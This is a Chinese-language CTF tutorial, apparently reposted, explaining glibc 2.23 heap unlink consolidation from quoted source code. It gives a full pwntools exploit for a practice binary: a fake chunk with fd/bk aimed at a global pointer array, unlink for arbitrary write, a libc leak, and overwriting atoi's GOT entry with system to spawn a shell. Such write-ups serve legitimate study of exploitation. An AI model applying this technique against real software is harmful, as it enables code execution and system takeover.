在pwn 的学习 其中unlink机制与原理是比较复杂的 需要配合glibc源码进行分析
关于unlink的原理,这里不用过多阐述 不懂的可以看一下ctfwiki的相关知识
下面给出一张图概过
现在我们重点分析 unlink的触发机制,即什么时候会发生unlink?
当需要合并相邻的freechunk时用到unlink
而合并堆块又分为向地地点合并和向高地点合并
在ctf glibc pwn中 我们一般利用的是向低地点合并的unlink
下面给出 glibc2.23中关于向低地点合并的源码
if (!prev_inuse(p)) {//判定后一个堆块(低地点)是否free,free时进行下一步操纵
prevsize = p->prev_size;//读取p堆块的prev_size位
size += prevsize;//size相加
p = chunk_at_offset(p, -((long) prevsize));//p指向后一个堆块的地点,实现了合并
unlink(av, p, bck, fwd);//unlink脱链操纵
}
图片表该示过程:
向高地点合并:
源码
if (nextchunk != av->top) {//下一个堆块(高地点)是否为top chunk
/* get and clear inuse bit */
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);//将下一个堆块的prev_inuse位置为0,由于即将free这个堆块的前一个堆块
/* consolIDAte forward */
if (!nextinuse) {//判定下一个堆块是否free,是则进行unlink
unlink(av, nextchunk, bck, fwd);
size += nextsize;//size相加,相当于扩大了堆块,实现了 free
} else
clear_inuse_bit_at_offset(nextchunk, 0);
接下来来看一个 unlink的ctf 实例
unlink.rar
压缩文件给出了 elf和我写的exp
这是一个经典的unlink修改全局数组 实现任意地点写的题目
先分析一下 ,其中的change_item中存在堆溢出毛病
malloc出的指针存放于 0x6020c0的全局数组中
这个题的思路大概就是 首先unlink 造成0x6020c0的全局数组任意地点写
然后 泄漏libc 最后修改elf.got['atoi']为system
再输入/bin/sh\x00造成getshell
def add(size,content):
p.sendlineafter('choice:',str(2))
p.sendlineafter('name:',str(size))
p.sendlineafter('item:',content)
def show():
p.sendlineafter('choice:',str(1))
def change(index,size,content):
p.sendlineafter('choice:',str(3))
p.sendlineafter('item:',str(index))
p.sendlineafter('name:',str(size))
p.sendlineafter('item:',content)
def delete(index):
p.sendlineafter('choice:',str(4))
p.sendlineafter('item:',str(index))
sleep(2)
add(0x20,'aaaa')#0
add(0x80,'bbbb')#1 实际分配size为0x90,保证期不为fastbin
add(0x80,'cccc')#2
此时的堆块情况如下
全局数组情况如下
我们利用unlink在全局数组写的思路是
由于全局数组的指针是指向chunk数据段的而不是chunk起始位置的
所以在chunk1的数据段伪造另一个chunk,chunk大小得与接下来的chunk2 的prev_size对应
然后设置伪造堆块的fd=ptr-0x18 bk=ptr-0x10(这么做的缘故原由ctfwiki里面有)
通过溢出 修改chunk2 的prev_size 为0x80 size为0x90 pre_inuse为0
再free(chunk2)时便会前向合并触发unlink
pause()
fd=0x6020d8-0x18
bk=0x6020d8-0x10
payload1=p64(0)+p64(0x81)#fake_chunk
payload1+=p64(fd)+p64(bk)
payload1+=p64(0)*12
payload1+=p64(0x80)+p64(0x90)
change(1,0x90,payload1)
delete(2)#unlink
此时全局数组情况如下
可以发现我们现在已经可以通过change(1)实现任意地点读写了
pause()
change(1,0x20,'b'*8+p64(elf.got['atoi']))
show()
p.recvuntil(': ')
libc_base=u64(p.recv(6).ljust(8,'\x00'))-libc.sym['atoi']
print "libc_base:"+hex(libc_base)
change(0,0x20,p64(libc_base+libc.sym['system']))
p.recvuntil(':')
p.sendline('/bin/sh\x00')
p.interactive()
我们可以通过修改atoi的got 为system
然后输入/bin/sh\x00触发system('/bin/sh\x00')
来源:http://www.12558.net
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |